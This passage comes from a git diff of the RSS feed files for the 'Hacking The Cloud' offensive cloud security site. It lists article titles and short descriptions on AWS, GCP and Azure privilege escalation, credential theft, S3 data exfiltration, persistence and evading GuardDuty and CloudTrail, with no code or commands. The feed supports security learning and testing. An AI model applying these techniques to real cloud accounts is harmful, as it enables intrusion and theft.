May 2024 16:27:11 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Mon, 29 Jan 2024 03:39:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Sun, 21 Jan 2024 17:59:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Sun, 07 Jan 2024 21:28:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Wed, 20 Dec 2023 14:50:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Wed, 20 Dec 2023 01:25:13 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Thu, 07 Dec 2023 10:12:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Mon, 20 Nov 2023 00:54:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Tue, 01 Aug 2023 01:58:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Thu, 13 Jul 2023 03:46:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 20 Feb 2023 16:48:45 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 10 Feb 2023 15:12:48 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Thu, 26 Jan 2023 01:02:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Wed, 14 Dec 2022 03:27:50 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 05 Dec 2022 02:08:42 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Sat, 05 Nov 2022 00:02:54 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Thu, 13 Oct 2022 01:37:41 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Sun, 18 Sep 2022 21:18:30 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Wed, 24 Aug 2022 12:25:09 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Tue, 23 Aug 2022 14:34:53 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Sat, 09 Jul 2022 00:02:47 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Sat, 14 May 2022 21:51:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Mon, 11 Apr 2022 23:11:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sun, 27 Mar 2022 16:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Sat, 19 Mar 2022 16:57:37 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 17 Mar 2022 14:35:54 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sun, 13 Mar 2022 23:45:47 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Sat, 05 Mar 2022 04:00:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Sun, 27 Feb 2022 22:50:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Wed, 09 Feb 2022 04:00:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 30 Jan 2022 10:32:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Thu, 23 Dec 2021 21:59:38 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Tue, 30 Nov 2021 05:00:09 +0000Hacking The Cloudhttps://hackingthe.cloud/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Thu, 04 Nov 2021 21:03:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Sun, 24 Oct 2021 17:41:56 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Thu, 16 Sep 2021 15:02:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Wed, 14 Jul 2021 20:46:17 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Tue, 18 May 2021 19:13:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Tue, 13 Apr 2021 02:53:30 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Sat, 03 Apr 2021 01:39:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Sat, 20 Feb 2021 04:07:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Sat, 06 Feb 2021 17:17:59 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Sun, 20 Dec 2020 18:58:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sun, 27 Sep 2020 16:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Fri, 21 Aug 2020 17:00:02 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Wed, 12 Aug 2020 23:15:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Wed, 05 Aug 2020 14:32:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Sat, 01 Aug 2020 17:43:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Thu, 30 Jul 2020 23:28:52 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Mon, 27 Jul 2020 19:47:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Bypass GuardDuty Pentest Findings Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ \ No newline at end of file diff --git a/feed_rss_updated.xml b/feed_rss_updated.xml index 3650e3bde..4e1a10ee4 100644 --- a/feed_rss_updated.xml +++ b/feed_rss_updated.xml @@ -1 +1 @@ - Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Sun, 04 Aug 2024 23:13:37 -0000 Sun, 04 Aug 2024 23:13:37 -0000 1440 MkDocs RSS plugin - v1.15.0 Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Sun, 04 Aug 2024 21:24:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Tue, 30 Jul 2024 15:11:00 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:50:00 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sat, 15 Jun 2024 06:21:29 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Wed, 29 May 2024 03:08:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Tue, 28 May 2024 14:52:34 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Sun, 14 Apr 2024 19:40:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/ Bypass GuardDuty Pentest Findings Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Thu, 15 Feb 2024 03:00:00 +0000Hacking The 